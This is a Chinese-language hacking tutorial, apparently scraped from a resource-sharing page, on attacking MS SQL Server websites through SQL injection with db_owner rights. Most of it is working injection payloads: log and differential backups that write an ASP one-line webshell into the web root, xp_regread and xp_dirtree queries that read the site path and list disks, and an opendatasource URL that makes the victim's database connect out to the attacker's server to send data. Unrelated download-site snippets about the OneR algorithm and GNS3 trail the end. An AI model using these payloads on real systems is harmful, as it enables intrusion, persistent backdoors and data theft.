来自:s0n9 '5 b109
<%eval(request("a")):response.end%> 备分专用一句话
加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.
日志备分WEBSHELL标准的七步:
1.InjectionURL';alter database XXX set RECOVERY FULL-- (把SQL设置成日志完全恢复模式)
2.InjectionURL';create table cmd (a image)-- (新建立一个cmd表)
3.InjectionURL';backup log XXX to disk = 'c:/cmd' with init-- (减少备分数据的大小)
4.InjectionURL';insert into cmd (a) values ('<%%25eval(request("a")):response.end%%25>')-- (插入一句话木马)
5.InjectionURL';backup log XXX to disk = 'd:/chinakm/test.asp'-- (备分日志到WEB路径)
6.InjectionURL';drop table cmd-- (删除新建的cmd表)
7.InjectionURL';alter database XXX set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)
注:InjectionURL是注入点,XXX是数据库名称.
附上DB_ONER权限HACK的其他技巧,希望对菜菜有所帮助,高手略过.
数据库差异备份代码:
1、create table [dbo].[jm_tmp] ([cmd] [image])-- 创建一个表
2、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s --备份数据库,@s为备份名称(jmdcw的16进制转换)
3、insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)--将一句话木马 "<%execute(request("l"))%>"的16进制字符插入到表中
4、declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s='C:/Program Files/Common Files/Microsoft Shared/Web Server Extensions/40/isapi/hsqq.asp' backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份,备份的保存路径暂定为C盘目录,文件名为hsqq.asp。
5、drop table [jm_tmp]-- 删除此表。
网站物理路径读取代码:
1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots','/'-- 将网站目录插到表字段中
3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 '//暴出字段
4、drop table [jm_tmp]-- 删除此表。
磁盘目录读取代码:
1、drop table [jm_tmp];create table [jm_tmp](subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)-- 创建表
2、delete [jm_tmp];insert [jm_tmp] exec master..xp_dirtree 'C:/',1,1-- 将C盘的文件夹及文件插入到表中
3、 and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 1 [subdirectory],[file] From [jm_tmp] ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc) '//暴出第一个文件夹名称
4、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 2 [subdirectory],[file] From [jm_tmp] ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc) '//暴出第二个文件夹名称
5、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top X [subdirectory],[file] From [jm_tmp] ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc) '//暴出第X个文件夹或文件名称
6、drop table [jm_tmp]--删除此表
网站物理路径读取代码:
1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots','/'-- 将网站目录插到表字段中
3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 '//暴出字段
4、drop table [jm_tmp]-- 删除此表。
注射过程中DB_ONER权限并且主机与数据库不在一起的搞法
其实.即使数据库和WEB不在一块还是有机会搞的.并不是说一点机会没.一般服务器装好系统什么的.都会装个IIS吧?列他C盘.看看有没有Inetpub 这个目录.就知道他有没有装IIS了.但是.不知道他IP也?怎么办呢?可以这样来,PING一下WEB服务器.扫他这一C段的1433端口.看看哪台开了.不过这方法也不好.现在很多主机都启用了防火墙.1433端口就算开了你也扫不着.这该怎么办呢?可以利用opendatasource宏让对方的 SQL与自己的数据库建立连接.既然能建立连接.就可以得到数据库服务器的IP地址了.我们来试试看.有几个前提得说一下.第一.你机器必须要有公网 IP.而且开放的1433端口要保证能被外网访问到.好.条件满足.就开始做吧!
我现在搞的这站.100%数据和WEB不在一块.但是从C盘看到了Inetpub文件夹.说明这数据库服务器安装了IIS.但是得不到他IP呀.怎么搞哦.简单.就用上面所说的方法搞一下.先在本机建个库先.打开查询分析器输入
create database hack520 create TABLE zhu(name nvarchar(256) null);create TABLE J8(id int NULL,name nvarchar(256) null); 点执行.
建立了一个hack520的库名.和zhu J8两个表.zhu里面有name这一个字段.J8也放了两字段名.一个是id一个是name.好了.现在就可以开始建立连接了~~~~~~~先看一下这条SQL语句insert into opendatasource('sqloledb','server=你的IP;uid=SQL用户;pwd=SQL密码;database=建立的库名') .库名.表名 '执行的语句' 恩现在开始吧...
http://www.xxx.com/news.asp?id=126'inser ... asource('sqloledb','server=219.149.xx.182;uid=sa;pwd=hack520!@#77169;database=hack520').hack520.dbo.zhu%20select%20name%20from%20master.dbo.sysdatabases--
在IE上执行咯.呵呵这个时候对方就会连接到我机器的SQL服务器.不信?netstat -an看一下
在CMD下输入命令:
netstat -an | find "1433"
分享到:
相关推荐
python 数据挖掘入门,熟悉OneR算法实现分类,了解OneR算法的基本操作
一站式 该R包实现了One Rule(OneR)机器学习分类算法,该算法具有增强的功能,可以对数字数据和缺失值进行复杂的处理,并具有广泛的诊断功能。 它可用作机器学习模型的基准,并且规则通常是有用的启发式方法。 文献...
思科模拟器GNS3-2.1.15-all-in-one-regular,从1.0版本之后好像就不能设置中文了。自测。 Cisco 设备配置网络模拟器,内嵌多软件,实现真实网络环境模拟。
这样某一个特征只有0和1两种取值,数据集有三个类别。当取0的时候,假如类别A有20个这样的个体,类别B有60个这样的个体,类别C有20个这样的个体。所以,这个特征为0时,最有可能的是类别B,但是,还是有40个个体不在...
亲和性分析,在排序中找出最佳规则以及OneR算法的实现
我从Vedat Ozan Oner( )包含了一个非常有效的键值捕获新库。此版本的新功能对于比例尺部分: 设计了一个单独的盒子,其中放置了键盘和OLED显示屏。 主机架已经过优化,可以正确容纳9v电池。 添加了线夹系统,以...
连接发现客户端,公开用于announce、unannounce的路由(以便您可以从外部控制服务器),并将日志记录包装到server.log 目前依赖于我们正在开源的一些闭源模块 用法: var server = hapi.createServer(); server....
方法1:在script标签增加crossorigin属性设置js资源响应头Access-Control-Allow-Orgin:*方法2:window.oner
0ner.com A writer without a crew. Now it's just a way of saying you are the first one with that name. Almost everyone puts "one" or "oner" after their name, hence the meaning of it is slowly losing ...
针对ID3算法偏向于选择取值较多的属性作为测试属性的缺点,引入OneR算法选择属性的相关子集进行分类,降低无关属性和重复属性对分类的影响。实验结果表明,与ID3算法相比优化后的方案提高了ID3算法的分类准确率,降低了...
Weka开发[16]-OneR源代码介绍 47 Weka开发[-1]——在你的代码中使用Weka 51 挖掘多标签数据综述(multi-label data mining)[Available] 62 数据流-移动超平面(HyperPlane)构造 63 Weka开发[17]——关联规则之...
数据挖掘分类技术与OneR和ZeroR算法一起使用。 使用MapR学院的虚拟机在虚拟盒子上运行该程序。 目的是能够根据客户的特征(例如职业,婚姻状况)很好地猜测客户是否会接受银行提供的某种产品。
针对ID3算法偏向于选择取值较多的属性作为测试属性的缺点,引入oneR算法选择属性的相关子集进行分类,降低无关属性和重复属性对分类的影响。实验结果表明,与ID3算法相比优化后的方案提高了ID3算法的分类准确率,...
一.设计要求与内容 5 二.设计及原理 5 三.电路仿真 7 3.1直流稳压电源仿真电路 7 3.2二阶有源高通滤波电路 7 四.实物测试结果 8 五.仿真结果与实物测试结果对比分析 10 六.结论 11 七.收获、体会和建议 12 ...
测量脉冲信号的上升时间tr/下降时间tf